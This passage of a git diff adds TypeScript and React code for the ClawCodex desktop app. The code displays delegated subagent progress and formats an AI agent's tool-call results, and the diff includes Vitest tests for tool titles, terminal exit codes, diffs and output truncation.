+    const summary = entry ? field(entry, 'summary') : ''
+
+    return {
+      activity: summary ? [summary] : [],
+      durationSeconds: entry ? (numberValue(entry.duration_seconds) ?? undefined) : undefined,
+      goal,
+      id: `${toolCallId}:${index}`,
+      model: entry ? field(entry, 'model') || undefined : undefined,
+      status: entry ? (field(entry, 'status') === 'failed' ? 'failed' : 'completed') : idle
+    }
+  })
+}
+
+function fromSubagent(live: SubagentProgress, fallbackId: string, fallbackGoal: string): DelegateRow {
+  return {
+    activity: live.stream.map(entry => entry.text).filter(Boolean),
+    durationSeconds: live.durationSeconds,
+    goal: live.goal || fallbackGoal,
+    id: live.id || fallbackId,
+    model: live.model,
+    sessionId: live.sessionId,
+    status: live.status
+  }
+}
+
+/**
+ * Layer the session's live subagents over the rows a call describes.
+ *
+ * Three joins, narrowest first. The delegate fallback (used when the gateway
+ * relays no native `subagent.*` events) keys its rows off the tool call id, so
+ * those match exactly. Native events carry no tool linkage, but they do carry
+ * the goal string verbatim from the same arguments this call was built from.
+ * Failing both, task order is how the delegate tool numbers its children — but
+ * only trust it when the two sides agree on how many there are, or a second
+ * delegation in the same turn will claim the first one's workers.
+ *
+ * Live state wins wherever it exists: a settled result tells you a child
+ * finished, but only the store knows what it is doing right now.
+ */
+export function mergeDelegateRows(
+  rows: readonly DelegateRow[],
+  live: readonly SubagentProgress[],
+  toolCallId = ''
+): DelegateRow[] {
+  if (live.length === 0) {
+    return [...rows]
+  }
+
+  const unclaimed = [...live]
+
+  const claim = (predicate: (candidate: SubagentProgress) => boolean): SubagentProgress | undefined => {
+    const index = unclaimed.findIndex(predicate)
+
+    return index >= 0 ? unclaimed.splice(index, 1)[0] : undefined
+  }
+
+  const prefix = toolCallId ? `delegate-tool:${toolCallId}:` : ''
+  const byId = rows.map((_row, index) => (prefix ? claim(c => c.id === `${prefix}${index}`) : undefined))
+  const byGoal = rows.map((row, index) => byId[index] ?? claim(c => normalize(c.goal) === normalize(row.goal)))
+  const sameShape = rows.length === live.length
+
+  return rows.map((row, index) => {
+    const matched = byGoal[index] ?? (sameShape ? claim(c => c.taskIndex === index) : undefined)
+
+    return matched ? fromSubagent(matched, row.id, row.goal) : row
+  })
+}
+
+export const isDelegateRowLive = (status: DelegateRowStatus): boolean => status === 'running' || status === 'queued'
diff --git a/ui-desktop/src/components/assistant-ui/tool/delegate.tsx b/ui-desktop/src/components/assistant-ui/tool/delegate.tsx
new file mode 100644
index 000000000..8ec3d92b2
--- /dev/null
+++ b/ui-desktop/src/components/assistant-ui/tool/delegate.tsx
@@ -0,0 +1,158 @@
+'use client'
+
+import { useStore } from '@nanostores/react'
+import { type FC, type ReactNode, useMemo } from 'react'
+
+import { useSessionView } from '@/app/chat/session-view'
+import { useElapsedSeconds } from '@/components/chat/activity-timer'
+import { ActivityTimerText } from '@/components/chat/activity-timer-text'
+import { SCAFFOLD_LABEL_CLASS, SCAFFOLD_META_CLASS } from '@/components/chat/scaffold-row'
+import { FadeText } from '@/components/ui/fade-text'
+import { GlyphSpinner } from '@/components/ui/glyph-spinner'
+import { useI18n } from '@/i18n'
+import { AlertCircle, CheckCircle2 } from '@/lib/icons'
+import { displayModelName } from '@/lib/model-status-label'
+import { useSessionSlice } from '@/lib/use-session-slice'
+import { cn } from '@/lib/utils'
+import { $subagentsBySession } from '@/store/subagents'
+import { openSessionInNewWindow } from '@/store/windows'
+
+import {
+  type DelegateRow,
+  delegateRowsFromCall,
+  type DelegateRowStatus,
+  isDelegateRowLive,
+  mergeDelegateRows
+} from './delegate-model'
+import { formatDurationSeconds, type ToolPart } from './fallback-model'
+import { ToolRunTicker } from './run-ticker'
+
+// Activity lines kept mounted behind the visible one. Enough for the reel to
+// read as motion, few enough that a chatty child doesn't hold a hundred rows
+// in the DOM per subagent.
+const TICKER_DEPTH = 6
+
+function statusGlyph(status: DelegateRowStatus, label: string): ReactNode {
+  if (isDelegateRowLive(status)) {
+    return (
+      <GlyphSpinner ariaLabel={label} className="size-3.5 text-[0.95rem] text-(--ui-text-tertiary)" spinner="breathe" />
+    )
+  }
+
+  if (status === 'failed' || status === 'interrupted') {
+    return <AlertCircle aria-label={label} className="size-3.5 text-destructive" />
+  }
+
+  if (status === 'dispatched') {
+    // Parked, not watched: the children outlived the turn that spawned them
+    // and nothing in this transcript is streaming their progress. A spinner
+    // here would claim a liveness we can't back up.
+    return <span aria-hidden className="size-1.5 rounded-full bg-(--ui-text-tertiary)" />
+  }
+
+  return <CheckCircle2 aria-label={label} className="size-3.5 text-emerald-600/85 dark:text-emerald-400/85" />
+}
+
+/**
+ * One delegated child: who it is on the first line, what it is doing on the
+ * second.
+ *
+ * The title carries the goal and the model running it — the two things that
+ * identify a child you didn't dispatch yourself — with the elapsed time
+ * trailing while it works. Underneath, a single ticking line of its relayed
+ * activity, so a fan-out of five children costs ten lines of transcript
+ * whatever they get up to.
+ */
+function DelegateRowView({ row }: { row: DelegateRow }) {
+  const { t } = useI18n()
+  const copy = t.assistant.tool
+  const { sessionId } = row
+  const live = isDelegateRowLive(row.status)
+  const elapsed = useElapsedSeconds(live, `delegate:${row.id}`)
+  const activity = row.activity.slice(-TICKER_DEPTH)
+
+  const statusLabel = live
+    ? copy.statusRunning
+    : row.status === 'failed' || row.status === 'interrupted'
+      ? copy.statusError
+      : copy.statusDone
+
+  const meta = [
+    row.model ? displayModelName(row.model) : '',
+    !live && row.durationSeconds ? formatDurationSeconds(row.durationSeconds) : ''
+  ].filter(Boolean)
+
+  // Only a child that reported its own session id has somewhere to go.
+  const open = sessionId ? () => void openSessionInNewWindow(sessionId, { watch: true }) : undefined
+
+  return (
+    <div className="grid min-w-0 max-w-full gap-0.5" data-conversation-scaffold="">
+      <div className="flex min-w-0 max-w-full items-center gap-1.5">
+        <span className="grid size-3.5 shrink-0 place-items-center">{statusGlyph(row.status, statusLabel)}</span>
+        <button
+          className={cn(
+            SCAFFOLD_LABEL_CLASS,
+            'min-w-0 truncate text-left transition-colors',
+            open ? 'hover:text-foreground focus-visible:text-foreground focus-visible:outline-none' : 'cursor-default'
+          )}
+          disabled={!open}
+          onClick={open}
+          type="button"
+        >
+          {row.goal}
+        </button>
+        {meta.length > 0 && <span className={SCAFFOLD_META_CLASS}>{meta.join(' · ')}</span>}
+        {live && <ActivityTimerText className={cn(SCAFFOLD_META_CLASS, 'ml-auto')} seconds={elapsed} />}
+      </div>
+      {activity.length > 0 && (
+        <div className="min-w-0 max-w-full pl-5">
+          <ToolRunTicker>
+            {activity.map((text, index) => (
+              <FadeText
+                className={cn(SCAFFOLD_LABEL_CLASS, 'text-(--conversation-scaffold-meta)', live && 'shimmer')}
+                key={`${row.id}:${index}`}
+              >
+                {text}
+              </FadeText>
+            ))}
+          </ToolRunTicker>
+        </div>
+      )}
+    </div>
+  )
+}
+
+/**
+ * A `delegate_task` call, as the fan-out it is.
+ *
+ * The generic tool row can only say "Delegated 2 tasks" and hand over a blob
+ * of JSON — the work itself happens in child sessions the transcript never
+ * sees. This lists those children instead, joining what the call dispatched to
+ * what the subagent store knows about them, so a delegation reads like the
+ * several agents it actually is.
+ *
+ * A card, never folded into a run summary: the point of the block is the live
+ * list, and a ticker cycling one line across five children would show four of
+ * them nothing.
+ */
+export const DelegateTool: FC<Pick<ToolPart, 'args' | 'result' | 'toolCallId'>> = ({ args, result, toolCallId }) => {
+  const sessionId = useStore(useSessionView().$runtimeId)
+  const live = useSessionSlice($subagentsBySession, sessionId)
+
+  const rows = useMemo(
+    () => mergeDelegateRows(delegateRowsFromCall(args, result, toolCallId), live, toolCallId),
+    [args, live, result, toolCallId]
+  )
+
+  if (rows.length === 0) {
+    return null
+  }
+
+  return (
+    <div className="grid min-w-0 gap-(--tool-row-gap)" data-delegate-card="" data-slot="tool-block">
+      {rows.map(row => (
+        <DelegateRowView key={row.id} row={row} />
+      ))}
+    </div>
+  )
+}
diff --git a/ui-desktop/src/components/assistant-ui/tool/fallback-model.test.ts b/ui-desktop/src/components/assistant-ui/tool/fallback-model.test.ts
new file mode 100644
index 000000000..3ecb03c05
--- /dev/null
+++ b/ui-desktop/src/components/assistant-ui/tool/fallback-model.test.ts
@@ -0,0 +1,452 @@
+import { afterEach, describe, expect, it } from 'vitest'
+
+import { setRuntimeI18nLocale } from '@/i18n'
+
+import {
+  buildToolView,
+  clampForDisplay,
+  countDiffLineStats,
+  inlineDiffFromResult,
+  MAX_TOOL_RENDER_CHARS,
+  prettyJson,
+  type ToolPart
+} from './fallback-model'
+
+const part = (overrides: Partial<ToolPart>): ToolPart => ({
+  args: {},
+  isError: false,
+  result: {},
+  toolCallId: 'call_1',
+  toolName: 'vision_analyze',
+  type: 'tool-call',
+  ...overrides
+})
+
+afterEach(() => {
+  setRuntimeI18nLocale('en')
+})
+
+describe('buildToolView image handling', () => {
+  // vision_analyze reports the input image as a local path; an <img> pointed at
+  // a bare path resolves against the renderer origin and 404s, so we render the
+  // tool codicon instead of a broken image.
+  it('drops bare filesystem paths', () => {
+    expect(buildToolView(part({ args: { path: '/Users/me/shot.png' } }), '').imageUrl).toBe('')
+    expect(buildToolView(part({ result: { image_path: '/tmp/out.jpg' } }), '').imageUrl).toBe('')
+  })
+
+  it('keeps fetchable data URLs', () => {
+    const dataUrl = 'data:image/png;base64,AAAA'
+
+    expect(buildToolView(part({ result: { image_url: dataUrl } }), '').imageUrl).toBe(dataUrl)
+  })
+
+  it('keeps remote http(s) image URLs', () => {
+    const url = 'https://example.com/pic.webp'
+
+    expect(buildToolView(part({ result: { url } }), '').imageUrl).toBe(url)
+  })
+})
+
+describe('buildToolView terminal exit-code status', () => {
+  const terminal = (result: Record<string, unknown>) => buildToolView(part({ result, toolName: 'terminal' }), '')
+
+  // A non-zero exit code with real output is not a failure (grep no-match,
+  // diff differences, piped commands surfacing the last stage's code, etc.) —
+  // it should render as success so the card isn't painted red.
+  it('treats non-zero exit with output as success', () => {
+    expect(terminal({ exit_code: 7, output: 'node ... 5174 (LISTEN)' }).status).toBe('success')
+    expect(terminal({ exit_code: 1, stdout: 'partial results' }).status).toBe('success')
+  })
+
+  // No output + non-zero exit is a genuine failure worth flagging.
+  it('treats non-zero exit with no output as error', () => {
+    expect(terminal({ exit_code: 127, output: '' }).status).toBe('error')
+    expect(terminal({ exit_code: 1 }).status).toBe('error')
+  })
+
+  it('treats zero exit as success', () => {
+    expect(terminal({ exit_code: 0, output: 'done' }).status).toBe('success')
+  })
+
+  // Explicit error signals still win regardless of output presence.
+  it('keeps explicit error signals red even with output', () => {
+    expect(terminal({ error: 'boom', exit_code: 0, output: 'partial' }).status).toBe('error')
+    expect(buildToolView(part({ isError: true, result: { output: 'x' }, toolName: 'terminal' }), '').status).toBe(
+      'error'
+    )
+  })
+
+  it('keeps the command and exit code for the terminal transcript', () => {
+    const view = buildToolView(
+      part({
+        args: { command: 'npm run check --workspace=apps/desktop' },
+        result: { exit_code: 0, output: 'done' },
+        toolName: 'terminal'
+      }),
+      ''
+    )
+
+    expect(view.terminalCommand).toBe('npm run check --workspace=apps/desktop')
+    expect(view.terminalExitCode).toBe(0)
+  })
+})
+
+describe('buildToolView web-search query', () => {
+  it('keeps the query separate from structured search results', () => {
+    const view = buildToolView(
+      part({
+        args: { query: 'ClawCodex Desktop tool calls' },
+        result: { web: [{ snippet: 'Desktop docs', title: 'ClawCodex docs', url: 'https://example.com/docs' }] },
+        toolName: 'web_search'
+      }),
+      ''
+    )
+
+    expect(view.searchQuery).toBe('ClawCodex Desktop tool calls')
+    expect(view.searchHits).toEqual([
+      { snippet: 'Desktop docs', title: 'ClawCodex docs', url: 'https://example.com/docs' }
+    ])
+  })
+})
+
+describe('buildToolView browser_navigate title', () => {
+  it('shows failed title when navigate returns success=false', () => {
+    const view = buildToolView(
+      part({
+        toolName: 'browser_navigate',
+        args: { url: 'https://github.com/agentforce314/clawcodex/docs' },
+        result: { success: false, error: 'Command timed out after 60 seconds' }
+      }),
+      ''
+    )
+
+    expect(view.status).toBe('error')
+    expect(view.title).toBe('Failed to open github.com/agentforce314/clawcodex/docs')
+  })
+
+  it('shows opened title on success', () => {
+    const view = buildToolView(
+      part({
+        toolName: 'browser_navigate',
+        args: { url: 'https://github.com/agentforce314/clawcodex/docs' },
+        result: { success: true, url: 'https://github.com/agentforce314/clawcodex/docs', title: 'Docs' }
+      }),
+      ''
+    )
+
+    expect(view.status).toBe('success')
+    expect(view.title).toBe('Opened github.com/agentforce314/clawcodex/docs')
+  })
+})
+
+describe('buildToolView file edit diffs', () => {
+  const patchDiff = '--- a/src/demo.ts\n+++ b/src/demo.ts\n@@ -1 +1 @@\n-old\n+new'
+
+  it('reads inline_diff and diff fields from patch results', () => {
+    expect(inlineDiffFromResult({ inline_diff: patchDiff })).toBe(patchDiff)
+    expect(inlineDiffFromResult({ diff: patchDiff })).toBe(patchDiff)
+  })
+
+  it('suppresses raw patch args when a diff is available', () => {
+    const view = buildToolView(
+      part({
+        args: { context: 'src/demo.ts', mode: 'replace', new_string: 'new', path: 'src/demo.ts' },
+        result: { diff: patchDiff, success: true },
+        toolName: 'patch'
+      }),
+      patchDiff
+    )
+
+    expect(view.title).toBe('demo.ts')
+    expect(view.subtitle).toBe('src/demo.ts')
+    expect(view.detail).toBe('')
+    expect(view.inlineDiff).toBe(patchDiff)
+  })
+
+  it('shows path subtitle instead of patch args JSON while pending', () => {
+    const view = buildToolView(
+      part({
+        args: { context: 'src/demo.ts', mode: 'replace', new_string: 'new', path: 'src/demo.ts' },
+        result: undefined,
+        toolName: 'patch'
+      }),
+      ''
+    )
+
+    expect(view.title).toBe('demo.ts')
+    expect(view.subtitle).toBe('src/demo.ts')
+    expect(view.detail).toBe('')
+  })
+})
+
+describe('buildToolView title actions', () => {
+  it('marks the pending action separately from the rest of the title', () => {
+    const read = buildToolView(part({ args: { path: '/tmp/demo.txt' }, result: undefined, toolName: 'read_file' }), '')
+
+    const web = buildToolView(
+      part({ args: { url: 'https://example.com/docs' }, result: undefined, toolName: 'web_extract' }),
+      ''
+    )
+
+    const terminal = buildToolView(
+      part({ args: { command: 'npm test -- --runInBand' }, result: undefined, toolName: 'terminal' }),
+      ''
+    )
+
+    const code = buildToolView(
+      part({ args: { code: 'print("hello")' }, result: undefined, toolName: 'execute_code' }),
+      ''
+    )
+
+    expect(read.title).toBe('Reading demo.txt')
+    expect(read.titleAction).toEqual({ prefix: '', text: 'Reading', suffix: ' demo.txt' })
+    expect(web.title).toBe('Reading example.com/docs')
+    expect(web.titleAction).toEqual({ prefix: '', text: 'Reading', suffix: ' example.com/docs' })
+    expect(terminal.title).toBe('Running npm test -- --runInBand')
+    expect(terminal.titleAction).toEqual({ prefix: '', text: 'Running', suffix: ' npm test -- --runInBand' })
+    expect(code.title).toBe('Scripting print("hello")')
+    expect(code.titleAction).toEqual({ prefix: '', text: 'Scripting', suffix: ' print("hello")' })
+  })
+
+  it('does not mark completed tool titles as pending actions', () => {
+    const view = buildToolView(part({ args: { url: 'https://example.com/docs' }, toolName: 'web_extract' }), '')
+
+    expect(view.title).toBe('Read example.com/docs')
+    expect(view.titleAction).toBeUndefined()
+  })
+
+  it('uses the filename for completed read_file rows', () => {
+    const view = buildToolView(
+      part({ args: { path: './package.json' }, result: { content: '1|{"name":"demo"}' }, toolName: 'read_file' }),
+      ''
+    )
+
+    expect(view.title).toBe('Read package.json')
+    expect(view.subtitle).toBe('')
+    expect(view.titleAction).toBeUndefined()
+  })
+
+  it('adds a compact line range to line-scoped read_file rows', () => {
+    const view = buildToolView(
+      part({
+        args: { limit: 10, offset: 25, path: './src/main.ts' },
+        result: { content: '25|function toggleDock() {\n26|  dock.classList.toggle("hidden");\n34|}' },
+        toolName: 'read_file'
+      }),
+      ''
+    )
+
+    expect(view.title).toBe('Read main.ts L25-34')
+    expect(view.subtitle).toBe('')
+  })
+
+  it('uses the requested positive offset/limit for read_file row line ranges', () => {
+    const view = buildToolView(
+      part({
+        args: { limit: 5, offset: 1, path: './package.json' },
+        result: {
+          content:
+            '1|{\n2|  "name": "bb-rainbows",\n3|  "private": true,\n4|  "version": "0.0.1",\n5|  "type": "module",\n6|  "description": "extra"'
+        },
+        toolName: 'read_file'
+      }),
+      ''
+    )
+
+    expect(view.title).toBe('Read package.json L1-5')
+  })
+
+  it('uses inherited backend context for live read_file rows', () => {
+    const view = buildToolView(
+      part({
+        args: { context: 'package.json L1-5', path: './package.json' },
+        result: undefined,
+        toolName: 'read_file'
+      }),
+      ''
+    )
+
+    expect(view.title).toBe('Reading package.json L1-5')
+    expect(view.titleAction).toEqual({ prefix: '', text: 'Reading', suffix: ' package.json L1-5' })
+  })
+
+  it('uses returned line numbers for negative-offset read_file rows', () => {
+    const view = buildToolView(
+      part({
+        args: { limit: 2, offset: -2, path: './src/main.ts' },
+        result: { content: '99|lastLine();\n100|done();' },
+        toolName: 'read_file'
+      }),
+      ''
+    )
+
+    expect(view.title).toBe('Read main.ts L99-100')
+  })
+
+  it('renders compact terminal titles for session 20260624_231846_bdbd1e commands', () => {
+    const rows = [
+      [
+        'cd /Users/brooklyn/www/bb-rainbows && pnpm run lint 2>&1 | tail -20; echo "lint_exit=${PIPESTATUS[0]}"',
+        'Ran pnpm run lint'
+      ],
+      [
+        'cd /Users/brooklyn/www/bb-rainbows && pnpm run build 2>&1 | tail -20; echo "build_exit=${PIPESTATUS[0]}"',
+        'Ran pnpm run build'
+      ],
+      [
+        'which node pnpm corepack; node -v; echo "---"; corepack --version 2>&1; echo "---pnpm via corepack---"; pnpm --version 2>&1 | tail -5',
+        'Ran which node pnpm corepack + 3 commands'
+      ],
+      [
+        'echo "--- proto pnpm direct ---"; ~/.proto/tools/node/24.11.0/bin/pnpm --version 2>&1 | tail -3; echo "--- proto node ---"; ls ~/.proto/tools/node/ 2>&1; echo "--- corepack cache ---"; ls ~/.cache/node/corepack/v1/pnpm/ 2>&1',
+        'Ran ~/.proto/tools/node/24.11.0/bin/pnpm --version + 2 commands'
+      ],
+      [
+        'cd /Users/brooklyn/www/bb-rainbows && COREPACK_ENABLE_DOWNLOAD_PROMPT=0 corepack pnpm@10.20.0 --version 2>&1 | tail -3',
+        'Ran COREPACK_ENABLE_DOWNLOAD_PROMPT=0 corepack pnpm@10.20.0 --version'
+      ],
+      [
+        'cd /Users/brooklyn/www/bb-rainbows && COREPACK_ENABLE_DOWNLOAD_PROMPT=0 corepack use pnpm@10.20.0 2>&1 | tail -10; echo "exit=$?"',
+        'Ran COREPACK_ENABLE_DOWNLOAD_PROMPT=0 corepack use pnpm@10.20.0'
+      ]
+    ] as const
+
+    for (const [command, expectedTitle] of rows) {
+      const view = buildToolView(
+        part({ args: { command }, result: { output: 'ok', exit_code: 0 }, toolName: 'terminal' }),
+        ''
+      )
+
+      expect(view.title).toBe(expectedTitle)
+    }
+  })
+
+  it('uses inherited backend context for live terminal rows', () => {
+    const view = buildToolView(
+      part({
+        args: {
+          command: 'cd /Users/brooklyn/www/bb-rainbows && pnpm run lint 2>&1 | tail -20',
+          context: 'pnpm run lint'
+        },
+        result: undefined,
+        toolName: 'terminal'
+      }),
+      ''
+    )
+
+    expect(view.title).toBe('Running pnpm run lint')
+    expect(view.subtitle).toBe('')
+    expect(view.titleAction).toEqual({ prefix: '', text: 'Running', suffix: ' pnpm run lint' })
+  })
+
+  it('never stutters the verb or echoes the command when the backend context is a phrased label', () => {
+    // Older backends stamped tool.start with a *phrased* label
+    // ("Running sleep 70 + 2 commands") rather than a raw arg preview, and the
+    // desktop merges that into args.context. The row must still prepend its own
+    // verb exactly once, show the real command in the `$` transcript, and not
+    // repeat either string as detail.
+    const command = 'sleep 70; echo "a"; echo "b"'
+
+    const view = buildToolView(
+      part({
+        args: { command, context: 'Running sleep 70 + 2 commands' },
+        result: { exit_code: 0 },
+        toolName: 'terminal'
+      }),
+      ''
+    )
+
+    expect(view.title).toBe('Ran sleep 70 + 2 commands')
+    expect(view.terminalCommand).toBe(command)
+    expect(view.detail).toBe('')
+  })
+
+  it('uses the runtime locale for title text and action placement', () => {
+    setRuntimeI18nLocale('ja')
+
+    const read = buildToolView(part({ args: { path: '/tmp/demo.txt' }, result: undefined, toolName: 'read_file' }), '')
+
+    const web = buildToolView(
+      part({ args: { url: 'https://example.com/docs' }, result: undefined, toolName: 'web_extract' }),
+      ''
+    )
+
+    expect(read.title).toBe('demo.txt を読み取り中')
+    expect(read.titleAction).toEqual({ prefix: 'demo.txt を', text: '読み取り中', suffix: '' })
+    expect(web.title).toBe('example.com/docs を読み取り中')
+    expect(web.titleAction).toEqual({ prefix: 'example.com/docs を', text: '読み取り中', suffix: '' })
+  })
+})
+
+describe('clampForDisplay', () => {
+  it('passes short payloads through untouched', () => {
+    expect(clampForDisplay('hello')).toBe('hello')
+    expect(clampForDisplay('x'.repeat(MAX_TOOL_RENDER_CHARS))).toHaveLength(MAX_TOOL_RENDER_CHARS)
+  })
+
+  it('truncates oversized payloads and reports the omitted count', () => {
+    const oversized = 'x'.repeat(MAX_TOOL_RENDER_CHARS + 5_000)
+    const clamped = clampForDisplay(oversized)
+
+    expect(clamped.length).toBeLessThan(oversized.length)
+    expect(clamped.startsWith('x'.repeat(MAX_TOOL_RENDER_CHARS))).toBe(true)
+    expect(clamped).toContain('5,000 more characters truncated')
+    expect(clamped).toContain('Copy')
+  })
+})
+
+// A large tool result (e.g. a 100KB read_file during a `/learn` run) must not
+// be serialized at full size — that JSON.stringify payload is what floods the
+// renderer. buildToolView no longer prettyJson's every result eagerly; the
+// web_search drilldown serializes lazily via prettyJson, which clamps.
+describe('prettyJson caps serialized result size', () => {
+  it('clamps an oversized result', () => {
+    const huge = 'y'.repeat(MAX_TOOL_RENDER_CHARS * 3)
+    const out = prettyJson({ content: huge })
+
+    expect(out.length).toBeLessThanOrEqual(MAX_TOOL_RENDER_CHARS + 200)
+    expect(out).toContain('truncated')
+  })
+})
+
+describe('countDiffLineStats', () => {
+  it('counts added and removed lines', () => {
+    expect(countDiffLineStats(`--- a/x\n+++ b/x\n@@\n-old\n+new\n context\n+another`)).toEqual({ added: 2, removed: 1 })
+  })
+})
+
+describe('buildToolView memory status', () => {
+  const memory = (overrides: Partial<Parameters<typeof part>[0]> = {}) =>
+    buildToolView(part({ toolName: 'memory', ...overrides }), '')
+
+  it('treats an explicit success payload as success even with isError', () => {
+    const view = memory({
+      isError: true,
+      result: {
+        success: true,
+        entry_count: 13,
+        message: 'Applied 1 operation(s).',
+        duration_s: 0.003
+      }
+    })
+
+    expect(view.status).toBe('success')
+    expect(view.title).toBe('Saved to memory')
+    expect(view.countLabel).toBe('13 entries')
+    expect(view.subtitle).toBe('Applied 1 operation(s).')
+  })
+
+  it('uses soft warning copy for over-budget refusals, not "Saved"', () => {
+    const view = memory({
+      result: {
+        success: false,
+        error: 'Memory is full (2,200/2,200). Consolidate before adding more.'
+      }
+    })
+
+    expect(view.status).toBe('warning')
+    expect(view.title).toBe('Memory write noted')
+    expect(view.subtitle).toContain('Memory is full')
+  })
+})
diff --git a/ui-desktop/src/components/assistant-ui/tool/fallback-model/format.ts b/ui-desktop/src/components/assistant-ui/tool/fallback-model/format.ts
new file mode 100644
index 000000000..ba7581461
--- /dev/null
+++ b/ui-desktop/src/components/assistant-ui/tool/fallback-model/format.ts
@@ -0,0 +1,132 @@
+export function isRecord(value: unknown): value is Record<string, unknown> {
+  return Boolean(value && typeof value === 'object' && !Array.isArray(value))
+}
+
+export function compactPreview(value: unknown, max = 72): string {
+  let raw: unknown
+
+  if (typeof value === 'string') {
+    raw = value
+  } else {
+    raw = parseMaybeObject(value).context
+  }
+
+  if (typeof raw !== 'string') {
+    if (raw == null) {
+      raw = ''
+    } else {
+      try {
+        raw = JSON.stringify(raw)
+      } catch {
+        raw = String(raw)
+      }
+    }
+  }
+
+  const line = (raw as string).replace(/\s+/g, ' ').trim()
+
+  return line.length > max ? `${line.slice(0, max - 1)}…` : line
+}
+
+export function contextValue(value: unknown): string {
+  const row = parseMaybeObject(value)
+
+  if (typeof row.context === 'string') {
+    return row.context
+  }
+
+  if (typeof row.preview === 'string') {
+    return row.preview
+  }
+
+  return typeof value === 'string' ? value : ''
+}
+
+// Each tool result is server-capped (~100KB), but a turn over a big directory
+// stacks many rows; painting/serializing them all floods the renderer (freeze,
+// then OOM). Clamp every inline-painted payload to a bounded slice — the row's
+// Copy button still reads the uncapped `view.detail` for the full output.
+export const MAX_TOOL_RENDER_CHARS = 20_000
+
+export function clampForDisplay(value: string, max = MAX_TOOL_RENDER_CHARS): string {
+  if (value.length <= max) {
+    return value
+  }
+
+  const omitted = value.length - max
+
+  return `${value.slice(0, max)}\n\n… ${omitted.toLocaleString()} more characters truncated — use Copy for the full output.`
+}
+
+export function prettyJson(value: unknown): string {
+  const raw = typeof value === 'string' ? value : JSON.stringify(value, null, 2)
+
+  return clampForDisplay(raw ?? '')
+}
+
+export function parseMaybeObject(value: unknown): Record<string, unknown> {
+  if (isRecord(value)) {
+    return value
+  }
+
+  if (typeof value !== 'string' || !value.trim()) {
+    return {}
+  }
+
+  try {
+    const parsed = JSON.parse(value)
+
+    return isRecord(parsed) ? parsed : {}
+  } catch {
+    return {}
+  }
+}
+
+export function unwrapToolPayload(value: unknown): unknown {
+  const record = parseMaybeObject(value)
+
+  for (const key of ['data', 'result', 'output', 'response', 'payload']) {
+    const payload = record[key]
+
+    if (payload !== undefined && payload !== null) {
+      return payload
+    }
+  }
+
+  return value
+}
+
+export function numberValue(value: unknown): null | number {
+  const n = typeof value === 'number' ? value : Number(value)
+
+  return Number.isFinite(n) ? n : null
+}
+
+export function formatDurationSeconds(seconds: number): string {
+  if (!Number.isFinite(seconds) || seconds < 0) {
+    return ''
+  }
+
+  if (seconds < 1) {
+    const ms = Math.max(1, Math.round(seconds * 1000))
+
+    return `${ms}ms`
+  }
+
+  if (seconds < 60) {
+    return `${seconds.toFixed(seconds >= 10 ? 0 : 1)}s`
+  }
+
+  const wholeSeconds = Math.round(seconds)
+  const minutes = Math.floor(wholeSeconds / 60)
+  const remSeconds = wholeSeconds % 60
+
+  if (minutes < 60) {
+    return remSeconds ? `${minutes}m ${remSeconds}s` : `${minutes}m`
+  }
+
+  const hours = Math.floor(minutes / 60)
+  const remMinutes = minutes % 60
+
+  return remMinutes ? `${hours}h ${remMinutes}m` : `${hours}h`
+}
diff --git a/ui-desktop/src/components/assistant-ui/tool/fallback-model/index.ts b/ui-desktop/src/components/assistant-ui/tool/fallback-model/index.ts
new file mode 100644
index 000000000..2a21657f6
--- /dev/null
+++ b/ui-desktop/src/components/assistant-ui/tool/fallback-model/index.ts
@@ -0,0 +1,1499 @@
+import { type ToolTitleKey, translateNow } from '@/i18n'
+import { normalizeExternalUrl } from '@/lib/external-link'
+import { summarizeShellCommand } from '@/lib/summarize-command'
+import { capitalize, normalize } from '@/lib/text'
+import { isCardTool, isFileEditTool, isSilentTool } from '@/lib/tool-render-class'
+import { extractToolErrorMessage, formatToolResultSummary } from '@/lib/tool-result-summary'
+
+import {
+  compactPreview,
+  contextValue,
+  formatDurationSeconds,
+  isRecord,
+  numberValue,
+  parseMaybeObject,
+  unwrapToolPayload
+} from './format'
+import { findFirstUrl, hostnameOf, looksLikePath, looksLikeUrl } from './targets'
+import type {
+  CountMetric,
+  MessageRunningStateSlice,
+  SearchResultRow,
+  ToolMeta,
+  ToolMetaSpec,
+  ToolPart,
+  ToolStatus,
+  ToolTitleAction,
+  ToolTone,
+  ToolView
+} from './types'
+
+export * from './format'
+export * from './targets'
+export * from './types'
+
+// The transcript's render budget prices a turn by the same classification, so
+// it lives in `@/lib/tool-render-class` where both sides can reach it without
+// pulling this module's formatting/i18n weight into the cost path.
+export { isCardTool, isFileEditTool, isSilentTool }
+
+export interface DiffLineStats {
+  added: number
+  removed: number
+}
+
+export function countDiffLineStats(diff: string): DiffLineStats {
+  let added = 0
+  let removed = 0
+
+  for (const line of diff.split('\n')) {
+    if (line.startsWith('+') && !line.startsWith('+++')) {
+      added += 1
+    } else if (line.startsWith('-') && !line.startsWith('---')) {
+      removed += 1
+    }
+  }
+
+  return { added, removed }
+}
+
+export function fileEditPath(args: Record<string, unknown>, result: Record<string, unknown>): string {
+  return (
+    firstStringField(args, ['path', 'file', 'filepath']) ||
+    firstStringField(result, ['path', 'file', 'filepath', 'resolved_path']) ||
+    htmlPathFromInlineDiff(firstStringField(result, ['inline_diff', 'diff']))
+  )
+}
+
+export function fileEditBasename(path: string): string {
+  const normalized = path.replace(/\\/g, '/').trim()
+
+  return normalized.split('/').filter(Boolean).pop() || normalized
+}
+
+function numericField(record: Record<string, unknown>, key: string): number | undefined {
+  const value = record[key]
+
+  return typeof value === 'number' && Number.isFinite(value) ? value : undefined
+}
+
+function readFileLineLabel(args: Record<string, unknown>, result: Record<string, unknown>): string {
+  if (numericField(args, 'offset') === undefined && numericField(args, 'limit') === undefined) {
+    return ''
+  }
+
+  const content = firstStringField(result, ['content'])
+  const offset = numericField(args, 'offset')
+  const limit = numericField(args, 'limit')
+
+  if (offset !== undefined && offset > 0) {
+    if (limit === undefined || limit <= 1) {
+      return `L${offset}`
+    }
+
+    return `L${offset}-${offset + limit - 1}`
+  }
+
+  const lines = content
+    .split('\n')
+    .map(line => /^(\d+)\|/.exec(line)?.[1])
+    .filter((line): line is string => !!line)
+    .map(Number)
+
+  if (lines.length === 0) {
+    return ''
+  }
+
+  const start = lines[0]!
+  const end = lines[lines.length - 1]!
+
+  return start === end ? `L${start}` : `L${start}-${end}`
+}
+
+function readFileDisplayTarget(args: Record<string, unknown>, result: Record<string, unknown>): string {
+  const inherited = firstStringField(args, ['context', 'preview'])
+
+  if (inherited) {
+    return inherited
+  }
+
+  const path = firstStringField(args, ['path', 'file', 'filepath'])
+
+  if (!path) {
+    return ''
+  }
+
